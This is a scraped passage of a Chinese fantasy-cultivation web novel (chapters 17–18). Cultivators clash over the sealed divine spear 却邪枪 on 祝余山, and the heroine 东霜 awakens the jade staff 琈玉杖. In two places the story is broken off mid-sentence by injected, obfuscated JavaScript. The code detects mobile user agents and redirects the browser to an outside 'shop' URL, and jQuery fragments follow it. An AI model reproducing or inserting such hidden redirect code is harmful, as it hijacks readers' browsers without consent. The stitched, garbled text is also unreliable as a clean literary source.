“什么几日不见,至少也得十日了。我与崇阿都大战了几天几夜。”他一脸惋惜:“你错过了双神大战!”
他用手抬了抬自己的灵力,挑了挑眉。
东霜左手施法,观灵阵于双指之上流转,阵中灵力由淡金色变成深红,她道:“恭喜同修,重回巅峰!”
“也恭喜你,四阶修士。”祝炎手心出现一把羽扇,递给东霜:“此乃九尾凤翎扇,每一尾凤翎中都有一缕凤凰精魂,它的火焰有毁天灭之威。轻易不可使用。送给你自保。”
“所以你要火凤凤翎就是为了给我做扇子?”
“是啊。”祝炎看着东霜满眼都是感激,又解释道:“这扇子本来就有八尾凤翎,是我师傅给我保命用的。当时你问我有什么心愿,我其实也是随口一说,想不到真实现了。”
东霜双手以施法的手势施礼,指尖五灵流动,她微微躬身:“多谢同修。”
祝炎摸了摸后脑勺,有些不好意思。
东霜摸了摸凤羽,看着火焰缭绕的平原,道:“话说,崇阿呢?”
17. 爱之劫·上篇17
冰火两重天,天之上为万年寒冰,天之下是熔炉岩浆,可眼下,寒冰消融成雨,岩浆干涸露出的皲裂土地正被雨水软化,空中雾气弥漫,不辨东西。
唯有火凤,一双锐眼,可破雾障,穿行天地间。
火凤所过之处,火灵浸润,雾气蒸发,方可窥天地一隅。
火山脚下,船只残片与骸骨散落横插在泥地里,断断续续的闷哼声从那些几乎和泥土融为一体的祝余山弟子口中传来,他们半匐在地上,眼睛顺着地上的灵力流动,看向了同一个方向。
灵力汇聚之处,便是崇阿所在,此处岩地常年泡在混着灵力的岩浆之中,岩浆退去,竟成了绝佳的土灵修炼之地。
他借机修复五灵,锤炼己身,脸上的瘢痕逐渐腿去,灵气中的雪花杂色也被净灵洗涤,他缓慢的吐了口气,睁开眼睛,眼神也恢复了清明。
顶头上一声长啸,与火凤上的祝炎和东霜草草对视,又低头,紧握双拳,感受灵气在五灵中穿梭流淌,确保没有一丝邪气。
邪气生于人心,若非他破境心切,急于打败祝炎,又怎会让邪气有机可乘。
他起身,居高临下的对着伤势各异的祝余山弟子道:“此间发生之事,还望师弟师妹们闭口不言。若有半个字入了我的耳,便如此木。”
崇阿抬了抬左手,不远处的船只残片被地上的泥流包裹,消失殆尽。
他又将自己所藏仙品灵药一一施与师兄弟们,方才事罢。
雾气渐散,雨落岩地,灵力相合,化而为花草,不消片刻,已然一副繁茂景象。
火凤之上,祝炎急匆匆的对东霜说:“此处土灵充溢,而土生金,对你也是大有裨益,何不再潜心修炼一番。”
东霜面露难色,锤了锤胸口:“我倒是想,可不知为何,我这心一紧一紧的。”
脖子上的玉器也烧的她生疼,她将玉器取下,放在祝炎手里。
祝炎烫的左手换右手,问出了她想问的问题:“此玉为何如此之烫?”
“我还想问你呢,这玉为何突然发烫啊。”
祝炎以无垢盛之,右手摸着下巴,端详了片刻:“此玉乃是薰池神山的?琈。这玉托更是不简单,与传说中祝余山顶的却邪枪枪身一样,都是上古神木蔓居木。”
东霜叹了口气:“这些,老木头都说过了,有没有我不知道的。”
祝炎挠了挠后脑勺,腼腆一笑:“这些,还都是从文玉的神木录中看到的。我可不敢继续卖弄了。”
两人齐齐“哎”了一声,耷拉着脑袋,双腿荡在空中,一时也没了主意。
火凤破空而行,眼前的景不断变化,无垢中的?琈玉忽然剧烈抖动,玉体通红。
“莫不是感应到了什么。”祝炎猜测道。
“我们这是往哪走?”
“火凤兄说了,直接带我们去山顶。”
东霜灵机一动,拍了拍火凤的脊背,大声喊问:“火凤兄,你是上古神兽,见识广泛,对这玉可有什么了解?”
火凤摇了摇尾翼:“*&……”
祝炎挑了挑眉:“听懂了吗?”
“听懂了。”
“什么?!”祝炎对着空气锤了一拳:“我,凤凰唯一传人都听不懂,你怎么听得懂!”
东霜“呵呵”笑了两声,她也想知道啊,怎么懂凤凰族语言。
她眼神躲闪,避着祝炎的目光,清了清嗓:“正如你所说,这玉震颤的如此厉害,是和山顶的却邪枪产生了共鸣。”
“却邪枪?”祝炎将信将疑:“且不说那却邪枪是神兵,它眼下仍被封印在山顶,虽有异动,却也不至于有如此大的波动吧。”
“除非……”东霜突然反应过来,哪只祝炎也一副了然的看着她。
两人异口同声:“苍乐!”
祝炎以灵探知:“果然,这一路上未曾辨得他的气息,反倒是其他两人,似是经历了一些战斗。”
东霜点了点头:“他一开始的目标根本不是什么长生不老药,而是却邪枪。可是他要却邪枪干什么?”
“那只能当面问他了。”
火凤连破十层阵法而不废吹灰之力,各级阵法之奇妙亦是东霜前所未见,未待她细究,已然盘桓于山顶上空。
迷雾缭乱,看不清山顶的情形,降落未果,被一阵不属于阵中的灵力所阻挡,连火凤也无能为力。
而据火凤所言,它只是一尾凤翎,借由阵中灵力才能显形,不知为何,无法与本体链接,故只有高阶修为,可这山顶的灵力却来自于仙灵境修士。
普天之下,仙灵境修士十个手指头都能数得过来,能在祝余山山顶自由出入之人,唯有一人。
祝余山掌门。
“何人在此?”
清润的声音,不疾不徐的语调,东霜心中惊喜翻涌,立刻答道:“老木头!是我!”
两道青蓝相间的灵力在雾中穿梭,最后停在火凤身旁。
“你们两个,可有拿到什么好宝贝?”祝炎跳到无垢上,与他们二人并肩。
东霜也随之一跃,立于藤蔓之上,文玉稳了稳东霜的身形:“宝贝没拿到,架倒是打了很多。我这藤蔓上的叶子都凋落了些许。”
“些许小怪,飞了几片叶子,怎就说的如此严重。”琉璃说的心不在焉,一直防备的打量着火凤。
东霜将火凤来历悉数告知他们,瞒下了崇阿入邪之事,还顺带展示了自己破境的成果,这才将琉璃的戒备打消,注意力又回到山顶。
即便是他们悬停空中,仍能感受到灵力余波带来的压迫感。
东霜的玉条震颤的厉害,眼瞧着下一秒就会碎裂。
众人合力,欲以灵力破之,终未能入,火凤因灵力耗尽,化为精魂回到凤翎扇中。
只剩下三人之力,更难破之。
四人一筹莫展之际,突现电闪雷鸣,天地震荡,山体皲裂。
一柄长枪如蛟龙出海,枪身转动,散发的灵力驱散了迷雾,破了山顶的禁制。
虽然来势汹汹,可这灵力对他们一行人却没有攻击性,反而如春风化雨,体内灵力充溢,伤势全消,整个人轻飘飘的。
连颤动不安的玉条,现在也安静的躺在东霜掌心。
那长枪通体黑色,一团火焰构成枪缨,火焰红如碧玺,澄明灼眼,仅仅一瞥,便让人心生畏惧。
东霜看了看掌心玉条的玉托,又偷瞄了一眼枪身,明明是同根生,怎的一个青如玉,一个黑如铁。
“是却邪枪!上古神兵却邪枪!”祝炎激动的抓住了文玉的手臂,身体随着脚步往前探了半步。
原来这就是却邪枪,东霜努力睁着眼睛想要看的再清楚些,眼睛却被蒙上了一汪清水。
耳边传来琉璃的声音:“却邪枪有神力,我等区区修士,怎可直视神,会被神兵灵力所伤的。”
这却邪枪若真是利国利民的神兵,又怎会被镇压在祝余山上,“怕不是邪器吧”,话随心念,东霜惊觉有失,立刻心虚掩嘴。
却邪枪仿佛听到了一般,枪缨冲天,枪身垂直落下,没地三寸,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241480|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地面如蛛网开裂,震的他们四人不得已以灵卫之。
定睛一看,原来不是因为东霜妄言,却邪枪的四周赫然立着五张玉符,而枪没入的地面上,画满了各异的字符,是封印符咒。
“参见掌门。”
以崇阿为首的祝余山弟子不知何时到了山顶,正对着却邪枪旁的一白须老人躬身拜见。
那老人单手从身前拂过,一众参拜的弟子齐整的直起身子,未言片语,若有所思的看向不远处。
那男子头发凌乱的趴在地上一动不动,锦衣华服被划成了一道道残片,露出里面可怖的伤痕。
琉璃大步上前,在他重要的穴位上施针,水灵力源源不断的通过银针注入,他这才有了些许生机。
“这麒麟子,每次见他都是将死之际。”祝炎有些不忍:“他身上的伤不像是被老头的符咒所伤,倒更像是……枪伤!”
东霜随着文玉的目光,也看向了却邪枪,却邪枪在符咒的压制下,渐渐镇定,便听文玉道:“他莫不是想拔枪,才会被枪灵攻击。”
果然,苍乐的目标自始至终都是却邪枪,东霜不解:“虽说却邪枪是上古时期麒麟的神兵,可如今他虽有麒麟护体,可并非真正的麒麟,拔枪又有何用?”
祝余山掌门却在此时出声呵斥:“大胆小儿,却邪枪乃祝余山根基,护众生安危,你私自盗枪,对得起你身上的麒麟血脉吗!”
苍乐由鼻腔发出一声沉闷的“哼”,佝偻着身躯,驮着四肢,颤颤巍巍的站起来,双脚无力抬起,仍不停的朝却邪枪挪动。
他嘴巴微张,声音来自胸腔深处,带着愤怒:“根基?真是可笑。”
“你们吸食却邪枪的灵力,炼化枪灵,便是如此对待麒麟神兵的?!”
平地一声雷,且不判断炼化枪灵一事,可吸食神兵灵力,乃是邪修所为,如若此事为真,祝余山如何能成为修士领袖。
在场之人,面面相觑,无人敢应声,苍乐依旧拖着他的双腿向却邪枪靠去。
一脚往前踩去,激起阵阵涟漪,一座牢笼原地筑起,符咒缠绕其中。
“你若再往前一步,休怪我符咒无情。”崇阿握着斩阎罗,上前一步,站在众弟子之前,掌门身后。
苍乐充耳不闻,都走到这了,离却邪不过一步之遥,他又如何肯撤退,他继续挪着脚步,七窍挂着血痕,皮肉发出烤熟爆裂的声音。
草木青出鞘,一道蓝色剑光闪过,苍乐周身的符咒变成了一片片碎纸,好似金箔飘落。
东霜还未看清那剑的模样,又化为数根银针封住了苍乐的穴位,也封住了他的行动。
琉璃有些恼了,质问道:“崇阿,欺凌弱小,这便是你从祝余山所学吗?”
崇阿又起了势,亦不肯相让:“此处乃我祝余山禁地,不论何人,不论何原因,擅闯者,立斩!”
说罢,将他们四人扫视了一番,眼神轻蔑挑衅。
不知其余三人作何感想,但东霜对上那眼神,心跳的厉害,咬了咬后槽牙,分不清是恐惧还是激奋。
文玉右手一歪,将藤蔓横在东霜身前,摆明了他的立场:“我们两个外人就别瞎掺合了。”
东霜本也不欲上前,那些叫得上名的皆为高阶修士,连琉璃都是他们之中修为最低的。
再说那麒麟子,虽无修为,可却是不死之身,而她呢,要修为才初阶,要□□区区凡身,若是参战,岂不成了砧板上的肉。
东霜和文玉四目相对,她更加坚定的点点了头,绝不参战!小命要紧!
18. 爱之劫·上篇18
时间在双方对峙之中悄然流逝,一些破阵进入山顶的其他修士因着祝余山弟子的阻拦,相互扭打在一起,山顶外围一片混战。
苍乐在琉璃的治疗下,破开的皮肉正缓慢愈合,又吞下了好多灵丹妙药,已经在舒展筋骨了,就是仍待在原地,是一步不肯离开,怕是还借着治疗又向却邪枪靠了靠。
祝余山掌门和几位长老眯着眼睛,不动声色,在苍乐试探性的迈开脚,想要进一步上前的时候,掌门才开口劝阻:“苍乐,你虽身负麒麟血脉,但这枪不属于你,你若就此止步,此前的事情一笔勾销。可若你再往前一步,就休怪我祝余山不留情面。”
“无需留情,却邪枪我拿定了。”苍乐大步上前,已是伸手就能握住枪身的距离,他身体前倾,右手缓缓向前伸,眼看就要碰到枪体,指尖与枪身不过毫厘的距离,他整个人被一股力道弹开数米。
和苍乐一起落地的还有崇阿的符箓,六道符箓躺在地上,围成一个圈,将苍乐困在了其中。
崇阿道:“即便有麒麟血脉又如何,我师傅说了,这枪不属于你。况且,有我师傅的千钧符箓护枪,任凭是大罗金仙来了,都没用!”
“那便试试!”苍乐的右手腕果决的没入了以符灵形成的倒刺中。
鲜血并没有顺着手臂流淌,而是汇聚在手腕上,似有什么东西在吸食。
“朱砂线。”文玉眼睛睁的滚圆,满眼都是对那根逐渐被血染红的线的渴望。
这灵宝启动的方式竟是吸食使用者的精血。
东霜眼见苍乐的血顺着一根肉眼不见的线滑向了却邪枪,血铺在土地上,却无法渗入泥土。
此时,一颗种子破土而出,见所去之地被千钧符拦住了,只得以身为针,以血为线,将符咒一圈圈绕起来,试图强行突破。
文玉解释道:“数万棵食人花,才能生出一棵开灵智的花,在它开灵智之后,再将其灵髓抽出,是为线,线本身并无实体,是由天地间的灵力构成,而其原身便成了线上的一颗种子,只需将种子种下,纵使相隔万里,那种子亦能将你所思所想所行,甚至是灵力都能模仿个七八成。”
东霜补充道:“以血做养料,让种子发芽。只有魔灵宝才用如此极端的方式。”
“魔灵宝也是灵宝啊。”
“也对,你是炼器师,你只在乎灵宝的品质。”
所有人都在静观其变,祝余山掌门更是有意促成此事而收了两张千钧符。
看苍乐的神情,他似乎也不知道那种子会把事情推向何处。
那鼓鼓囊囊的线团从千钧符的缝隙中渗透进去,被却邪枪吸收,最后只剩下一针一线。
种子停在却邪枪尖,苍乐的血一汩一汩的涌入。
东霜胸口隐约又出现了灼烧感,她根本来不及拿出来降温,却邪枪发出了一阵阵的枪鸣,震耳欲聋,鸣潮裹着灵力,一浪接着一浪袭来,好在文玉施法挡在她身前,不至于像其他修士一般横躺在地上。
却邪停止了进食,不,应该说,却邪在抵抗进食,它在抗拒苍乐的血,因而发出了悲鸣。
“怪哉。”文玉道:“却邪枪的灵力不在五灵之内,不属仙魔两道,亦非邪。祝余山到底想做什么?”
祝余山掌门在混乱之中,施法将苍乐送至却邪枪面前。
就在苍乐逐渐接近的时候,东霜胸口吃痛,她的玉条飞出去了!变成了一根玉杖,与却邪枪平行而立。
“薰池!”东霜脱口而出,好似她本来就应该知道她的名字。
那玉杖听见东霜唤她,愈加振奋。
一个横扫,将禁锢却邪枪的两张千钧符全都击落,用杖尾的利刃刺穿朱砂线种子,斩断血液的来源,杖身重击苍乐,敲碎六道符箓。
金、木、水、火、土五种灵力环绕在杖头,像一个高傲的神明,立于众人之间,鄙视众生。
东霜觉得从刚才开始就有一双眼睛盯着她,果不其然,转头一看,祝炎不知何时到了东霜身旁。
他的眼睛比星星还亮,比月亮还圆,眼中除了对东霜的佩服,还有……
他绝对希望此刻立于空中是他自己!
东霜看穿了他,捂着嘴,悄声问他:“同修?你当作如何?”
“你都敢出手,我岂能退。当然是!”
“战!”
东霜“不”了半天,摆着双手,刚想解释,无垢已经像火柴一般擦起了火,就这么被祝炎扔了出去,斜插在崇阿刚迈一步的脚尖前。
祝炎亦如一团火焰,“嗖”的几步,挡在了苍乐身前,拔出无垢,单手持棍,不动如松。
“我,祝炎,火之传人,凤凰首徒,今日,持无垢,锄强扶弱!”
他震了震无垢:“你们今日休想再上前一步!”
崇阿本就败他一次,祝炎现在送上门来,更是激起了他的胜负欲。
六道符箓齐出,高阶圆满对阵高阶圆满。
祝余山掌门则以四道千钧符牵制住了熏池和跃跃欲出的却邪。
长老逼近苍乐,欲擒住他,继续未尽之事。
祝炎分身乏术,他在防守的间隙,朝文玉道:“老木头,你还等什么!”
“哎,哎,你们这,一个个的,真是不让人省心。”
藤蔓轻挥,万般不愿,但,下一秒,万叶齐发,一堵仿若被藤蔓爬满的绿墙在长老面前铺开。
长老双指捏符,以符化剑,劈开绿墙,绿墙化而为花,散开又聚拢,向长老袭去。
“华而不实的东西。”他飞出三张符箓,符箓紧帖花簇,双手施法,念道:“火焚!”
花簇被燃烧殆尽,只余一朵盛开的火花印,宣告符师的胜利。
“简直是暴殄天物啊。”
文玉手中的藤蔓已经变成了,一把弓,弓背布满四季之花,从上到下的颜色昭示四季变化。
整把弓又如蝴蝶展翅,他轻拨弓弦,枝叶似箭,射穿三张符箓。
好漂亮的弓。东霜简直看呆了。她和文玉朝夕相处二十年来,竟是第一次见到藤蔓的本体。
同样看呆的,还有山边的祝余山弟子、其他山门弟子和一众散修。
他们从混战中抽身,整齐划一,不分你我,趴在山缘,露出一双眼睛,开始看戏。
这几位当世天才修士,名号如雷贯耳,今日终于对上了脸。
一身青衣,仙风道骨,身怀琉璃心,手持缠布剑,可医死人肉白骨的术师琉璃。
形如火焰,无垢净火游走于双手,持长棍,化万兵,灭万恶,乃凤凰传人剑修祝炎。
器修文玉,大隐隐于市,寻常如夹缝小草;风雨欲来之际,一如参天大树、雪中寒梅;其形万千,无人见过真容,只道所过之处,留下一片菩提叶。
符修崇阿,祝余山大弟子,目如磐石,一手六道轮回符,观善恶,一手斩阎罗,判生死。
他们出名于仙魔大战,虽同是高阶修士,但他们五脉同灵,灵力更精纯,道法更精妙,甚至很多入了道的修士都不如他们。
他们低伏者身体,人头攒动,也不知道是谁问了一句:“没有阵师吗?”
低沉的嘲笑声此起彼伏,也无人在意问题的源头,一位自称是祝余山内门弟子的高阶修士,啐了一口,道:“阵师?狗都不修。”
他收起笑声,看了半晌:“若真要说,喏,看到跪在地上的那位了吗,那就是阵师。”
“哈哈哈哈~”
一枪一杖,神兵共振,千钧符每收紧一寸,器鸣便强一分。
东霜自是没有听见他们的嘲笑,即便听到了,她也只嘲那些人皆是井底之蛙。
可是眼下,没了文玉的庇护,她被这器鸣折腾的死去活来,头痛欲裂,脑中一团浆糊,明明有无数的画面,可她一个都抓不住,恨不得把头割了。
阵法也施展不开,完全被三处战场的强大灵力气场压制了。
低阶和高阶之间的威压,是万丈阶梯,是无边银河。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17241481|197756||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她艰难的抬眼,看向琉璃,只要她的眼神稍稍偏一下,也许就能有一根银针就她于水火,可她始终盯着苍乐。
苍乐已经再次悄无声息的接近却邪,他面容痛苦,也在被器鸣折磨着。
琉璃注意到了器鸣带来的伤害,以萤火微针护他前行,保他性命。
两根银针,也缓解了东霜的痛苦。
文玉的叶箭击穿最后一张符箓,才方得喘息之机:“琉璃,你还不出剑吗?”
“师门有训,仙门中人不能自相残杀。”
“这老家伙要强行破开大阵的灵力限制,到时候麒麟保不住,你也未必能独善其身。”
琉璃眼眸微垂,下意识的看了眼别处,继而回眸,闲庭信步的走向文玉。
斩阎罗带着崇阿的警告从她侧方刺来,刺尖钉着枚收敛灵力的符箓。
琉璃抬起左手的缠布剑一档,剑身的布像蛇一样缠上了斩阎罗,与它周旋,琉璃则继续往前走,白蛇越来越长。
斩阎罗灵力全开,从蛇腹将蛇切成了两半,沿着蛇身,想继续找它的主人。
途中飞来横祸,巨大的铁球摇摆而来,将它撞回了崇阿手中。
那铁球化而为棍,亦回到了祝炎手中:“崇阿,战斗分心,可是会死的。尤其,对手是我。”
崇阿嘴角抽搐:“哼,厚颜无耻。”
两人打的火花四溅,飞沙走石,不辨你我。
琉璃已经与文玉并肩:“若为自保,也不分仙魔与否了。”
两人相视一笑,箭矢上弦,利刃出鞘,正欲合力摧毁长老的焚天符箓。
器鸣声越来越强,脚下的石头在东霜眼前被震碎,就在此时,琉璃的银针失效了。
她控制不住的流泪,嘴巴无法合上,血从嘴角不断流出,耳中只剩下叮的声音,头很痛,眼睛却无法闭上,瞪着眼睛,无法看清更多,反而逐渐模糊。
四枚千钧符已近乎贴在两神兵上,却邪枪要被再次封印,还搭上了一根玉杖。
祝余山掌门紧皱双眉,看起来封印的十分吃力。
对,还在大阵之中,大家都只有高阶修为,他如何能封印神兵!东霜攥拳敲着脑袋,好容易想清了这些,她一定要做些什么。
余光瞟到苍乐,他又在献血,东霜随手抄起一块碎石,一下、两下、三下,心口被砸的血肉模糊,也不见神力出现。
“嗵,嗵,嗵……”一枪一杖,十字交叉,如审判的铡刀,器鸣更加清晰,也更加强烈,震碎了大阵,所有人都被器鸣带出的灵力扑倒在地。
除了掌门。
他只些微后退,没了大阵的限制,他的修为行封印之事绰绰有余,还有多余的灵力擒住了苍乐。
长老也恢复了修为,以焚天符箓将文玉、琉璃、祝炎通通镇压,
神兵归位,器鸣声变小了,渐渐消失了。
东霜终于喘了口气。
“唤我的名字。”
什么声音,东霜听见了有人在说话,却不能肯定,她已无法分辨虚实。
“你给我取的名字,唤我,快唤我。”
“什么名字?你是谁?”东霜不停的念叨,抬眼对上了玉杖。
她红唇亲启:“琈玉,琈玉杖。”
话刚落地,东霜双眼没了颜色,如被夺舍一般,定定的看着琈玉杖。
只见杖头的五灵快速转动,选定为木,杖身晃动,击碎千钧,枯木逢春,神力再现。
却邪枪也像一根再普通不过的枪,滚到了苍乐面前。
“怎么可能!”祝余山掌门面目狰狞,不信眼前之景,以血化符,一道一道的洒向众人。
山顶之人无一幸免,山边的修士亦受到了波及,唯有东霜,周身罩着灵力,不仅毫发无伤,心上的伤口也在愈合。
她额间额印忽闪,抬了抬手,琈玉杖就到了她手中,她以握枪的姿势握着琈玉,眼神犀利凶狠。
“胆敢弑神!今日,便将你们全杀了!”